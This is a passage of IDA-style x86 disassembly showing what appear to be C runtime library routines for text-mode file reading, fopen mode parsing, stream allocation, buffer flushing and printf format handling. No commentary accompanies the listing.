		mov	eax, dword_4DCCA0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2680867h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB958, 9
		mov	dword_4DB95C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2680867h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB44
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB40
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC80
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC78
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC78
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC78
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9D8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9D8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0E8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D108
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D030


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+427734h]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_427754[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9D8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBF4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
